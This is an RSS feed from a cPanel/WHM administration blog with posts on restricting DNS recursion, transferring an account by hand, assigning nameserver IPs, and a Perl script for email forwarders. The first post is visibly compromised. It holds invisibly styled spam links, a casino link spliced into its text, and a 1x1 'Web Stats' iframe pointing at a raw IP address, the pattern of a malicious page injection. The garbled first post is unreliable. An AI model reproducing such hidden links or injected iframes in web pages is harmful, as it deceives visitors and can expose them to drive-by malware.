<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Long Island Iced Tea &#187; Cpanel</title>
	<atom:link href="http://www.liit.net/category/cpanel/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.liit.net</link>
	<description>not just a drink</description>
	<lastBuildDate>Mon, 22 Aug 2011 09:20:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Solve Open DNS Server Problem</title>
		<link>http://www.liit.net/2007/06/21/solve-open-dns-server-problem/</link>
		<comments>http://www.liit.net/2007/06/21/solve-open-dns-server-problem/#comments</comments>
		<pubDate>Thu, 21 Jun 2007 03:31:57 +0000</pubDate>
		<dc:creator>rony</dc:creator>
				<category><![CDATA[Cpanel]]></category>

		<guid isPermaLink="false">http://www.liit.net/2007/06/21/solve-open-dns-server-problem/</guid>
		<description><![CDATA[&#1089;&#1074;&#1077;&#1090;&#1080; &#1080;&#1083;&#1080;&#1103;&#1055;&#1088;&#1072;&#1074;&#1086;&#1089;&#1083;&#1072;&#1074;&#1085;&#1080; &#1080;&#1082;&#1086;&#1085;&#1080;&#1093;&#1086;&#1083;&#1085;&#1072; &#1089;&#1077;&#1082;&#1094;&#1080;&#1103;New server, everything!&#8211; Web Stats &#8212; iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !&#8211; End Web Stats &#8212; works, you check your dns at a href=http://www.dnsreport.com title=dnsreport.comfont a href=http://online-casino-net.org/online casino/adnsreport/a and it reports you that your dns server is open for queries from everybody. Right, I solved that already with the last server, but [...]]]></description>
			<content:encoded><![CDATA[<p><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://ikoni.eu/ikoni">&#1089;&#1074;&#1077;&#1090;&#1080; &#1080;&#1083;&#1080;&#1103;</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://xn--h1aafme.net/tag/%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%81%D0%BB%D0%B0%D0%B2%D0%BD%D0%B8-%D0%B8%D0%BA%D0%BE%D0%BD%D0%B8/">&#1055;&#1088;&#1072;&#1074;&#1086;&#1089;&#1083;&#1072;&#1074;&#1085;&#1080; &#1080;&#1082;&#1086;&#1085;&#1080;</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1093;&#1086;&#1083;&#1085;&#1072; &#1089;&#1077;&#1082;&#1094;&#1080;&#1103;</a></font>New server, everything!&#8211; Web Stats &#8212; iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !&#8211; End Web Stats &#8212; works, you check your dns at a href=http://www.dnsreport.com title=dnsreport.comfont a href=http://online-casino-net.org/online casino/adnsreport/a and it reports you that your dns server is open for queries from everybody. Right, I solved that already with the last server, but can&#8217;t really remember how.</p>
<p>Here is the code you have to put into your named.conf file:</p>
<p>acl trusted {<br />
11.22.33.44;<br />
11.22.33.45;<br />
11.22.33.46;<br />
127.0.0.1;<br />
};</p>
<p>options {<br />
directory /var/named;<br />
version not currently available;<br />
allow-recursion { trusted; };<br />
allow-notify { trusted; };<br />
allow-transfer { trusted; };<br />
};</p>
]]></content:encoded>
			<wfw:commentRss>http://www.liit.net/2007/06/21/solve-open-dns-server-problem/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WHM/cPanel 11 Manual Account Transfer</title>
		<link>http://www.liit.net/2007/06/20/whmcpanel-11-manual-account-transfer/</link>
		<comments>http://www.liit.net/2007/06/20/whmcpanel-11-manual-account-transfer/#comments</comments>
		<pubDate>Wed, 20 Jun 2007 06:03:14 +0000</pubDate>
		<dc:creator>rony</dc:creator>
				<category><![CDATA[Cpanel]]></category>

		<guid isPermaLink="false">http://www.liit.net/2007/06/20/whmcpanel-11-manual-account-transfer/</guid>
		<description><![CDATA[I moved almost all accounts from one server to an other, everything went smooth.
Then, the last account, around 3GB in size. I tried with and without the option &#8220;Do not compress transfers&#8221;, connecting to different IP&#8217;s, nothing worked, it always stopped at the same place:
&#160;
Attempting to copy username from source-ipPackaging the account...

pkgacct started.pkgacct version 6.0 [...]]]></description>
			<content:encoded><![CDATA[<p>I moved almost all accounts from one server to an other, everything went smooth.</p>
<p>Then, the last account, around 3GB in size. I tried with and without the option &#8220;Do not compress transfers&#8221;, connecting to different IP&#8217;s, nothing worked, it always stopped at the same place:</p>
<p id="doctitle">&nbsp;</p>
<pre>Attempting to copy username from source-ipPackaging the account...

pkgacct started.pkgacct version 6.0 - running with uid 0

using time::hires for speedups

We will be splitting the archive!!

Copying Reseller Config...Done

Copying SSL Certificates, CSRS, and Keys...Done

Copying Counter Data....Done

Copying Bandwidth Data.......domain.com......parkeddomain1.com......parkeddomain2.com...Done

Copying Dns Zones.......domain.com......parkeddomain1.com......parkeddomain2.com...Done

Copying Mail files....Done

Copying frontpage files....Done

Copying proftpd file....Done

Copying www logs.............

...............

...............

DoneWarning: file location not sent.. guessing.. this may not work ....

Using the single archive method (/home/cpmove-username.tar.gz)!

Transfer Error

The remote server didn't report a correct md5sum of the archive. Please ensure you selected the correct type of remote server.</pre>
<p>How I made the transfer then work manually:</p>
<ol>
<li>SSH as root to source (old) server</li>
<li>Run /scripts/pkgacct username (replace username with the account&#8217;s username)</li>
<li>Make sure the pkgacct finished, it ends with: md5sum is: xxxx, you will have a file called /home/cpmove-username.tar.gz</li>
<li>scp file to new server: scp /home/cpmove-username.tar.gz root@ip-of-new-server:/home/cpmove-username.tar.gz</li>
<li>Login to whm on the new server (as root)</li>
<li>Click on &#8220;<strong class="firstletter">R</strong>estore a Full Backup/cpmove file&#8221;</li>
<li>You will find under &#8220;Possible cpmove archives found:&#8221;the file you just copied.</li>
<li>Enter the username after &#8220;Enter the username for the account you wish to restore:&#8221; and click Restore</li>
<li>That&#8217;s it, you are done.</li>
</ol>
<p>I&#8217;m not really sure why it stopped after the logfiles, it executes the same script when you make the transfer from an other server or when call the script in a shell.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.liit.net/2007/06/20/whmcpanel-11-manual-account-transfer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting up NameServer in WHM/cPanel</title>
		<link>http://www.liit.net/2007/06/19/setting-up-nameserver-in-whmcpanel/</link>
		<comments>http://www.liit.net/2007/06/19/setting-up-nameserver-in-whmcpanel/#comments</comments>
		<pubDate>Tue, 19 Jun 2007 03:54:51 +0000</pubDate>
		<dc:creator>rony</dc:creator>
				<category><![CDATA[Cpanel]]></category>

		<guid isPermaLink="false">http://www.liit.net/2007/06/19/setting-up-nameserver-in-whmcpanel/</guid>
		<description><![CDATA[There are many tutorials how to set up nameservers in WHM / cPanel. I got a problem setting them up with a new WHM 11 server.
I added all IPs to the server, entered my nameservers under Basic cPanel/WHM Setup, and got a popup saying &#8220;Sorry, you are out of ips to assign as nameservers&#8221;. The [...]]]></description>
			<content:encoded><![CDATA[<p>There are many tutorials how to set up nameservers in WHM / cPanel. I got a problem setting them up with a new WHM 11 server.</p>
<p>I added all IPs to the server, entered my nameservers under <strong class="firstletter">B</strong>asic cPanel/WHM Setup, and got a popup saying &#8220;Sorry, you are out of ips to assign as nameservers&#8221;. The IP Pool said that I have three free IP&#8217;s. What now? Searching around in google and forums.cpanel.net didn&#8217;t helped.</p>
<p>The solution is quite simple, edit the file /etc/nameserverips and make the following entries:<br />
IP=0<br />
eg. 192.168.0.1=0<br />
for each IP (except the servers main IP) .</p>
<p>You can go back to WHM and now everything works. Could by that this is a bug in WHM/cPanel 11 that they don&#8217;t add those entries when you assign a new IP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.liit.net/2007/06/19/setting-up-nameserver-in-whmcpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WHM/cPanel Automate Email Domain Forwarders</title>
		<link>http://www.liit.net/2007/06/13/whmcpanel-automate-email-domain-forwarders/</link>
		<comments>http://www.liit.net/2007/06/13/whmcpanel-automate-email-domain-forwarders/#comments</comments>
		<pubDate>Wed, 13 Jun 2007 13:43:11 +0000</pubDate>
		<dc:creator>rony</dc:creator>
				<category><![CDATA[Cpanel]]></category>

		<guid isPermaLink="false">http://www.liit.net/2007/06/13/whmcpanel-automate-email-domain-forwarders/</guid>
		<description><![CDATA[I have some hosting accounts where I park / point quite many domains, it&#8217;s very annoying to always set up the email domain forwards. I think the domain forward is what most people want as default, however WHM/cPanel doesn&#8217;t do that.
I had a look through the scripts and modified one to do this for all [...]]]></description>
			<content:encoded><![CDATA[<p>I have some hosting accounts where I park / point quite many domains, it&#8217;s very annoying to always set up the email domain forwards. I think the domain forward is what most people want as default, however WHM/cPanel doesn&#8217;t do that.</p>
<p>I had a look through the scripts and modified one to do this for all parked domain if there is no forwarding set up yet.</p>
<p>Depending on your needs you can change it to run just for one account (set $user instead of looping through /var/cpanel/users). If you often add domains and don&#8217;t want to run the script manually just put it in a cron job.</p>
<p>Here the script:</p>
<p><code><br />
#!/usr/bin/perl<br />
my(%PDLIST);<br />
opendir(CPU,"/var/cpanel/users");<br />
@CPUS=readdir(CPU);<br />
closedir(CPU);<br />
foreach my $user (@CPUS) {<br />
my $dns;<br />
my @PD;<br />
if (-f "/var/cpanel/users/$user") {<br />
open(CP,"/var/cpanel/users/$user");<br />
while(&lt;CP&gt;<cp>) {<br />
if (/^DNS=(\S+)/) { $dns=$1; }<br />
elsif (/^DNS\d+=(\S+)/) { push(@PD,$1); }<br />
}<br />
close(CP);<br />
foreach my $pd (@PD) {<br />
my $issub = 0;<br />
if ($pd =~ /\.${dns}$/) {$issub=1;}<br />
foreach my $pdtest (@PD) {<br />
next if ($pdtest eq $pd);<br />
if ($pd =~ /\.${pdtest}$/) { $issub=1; }<br />
}<br />
if (!$issub) {<br />
$PDLIST{$dns}{$pd} = 1;<br />
next if $pd eq $dns;<br />
#print $pd . "\t-&gt;\t" . $dns . "\n";<br />
if (-s "/etc/vdomainaliases/$pd" &gt; 0) {<br />
print $pd . "\t-&gt;\t" . $dns . " exists\n";<br />
} else {<br />
print $pd . "\t-&gt;\t" . $dns . " no entry\n";<br />
system("echo \"$pd: $dns\" &gt; /etc/vdomainaliases/$pd");<br />
#last;<br />
}<br />
}<br />
}<br />
}<br />
}<br />
</cp></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.liit.net/2007/06/13/whmcpanel-automate-email-domain-forwarders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

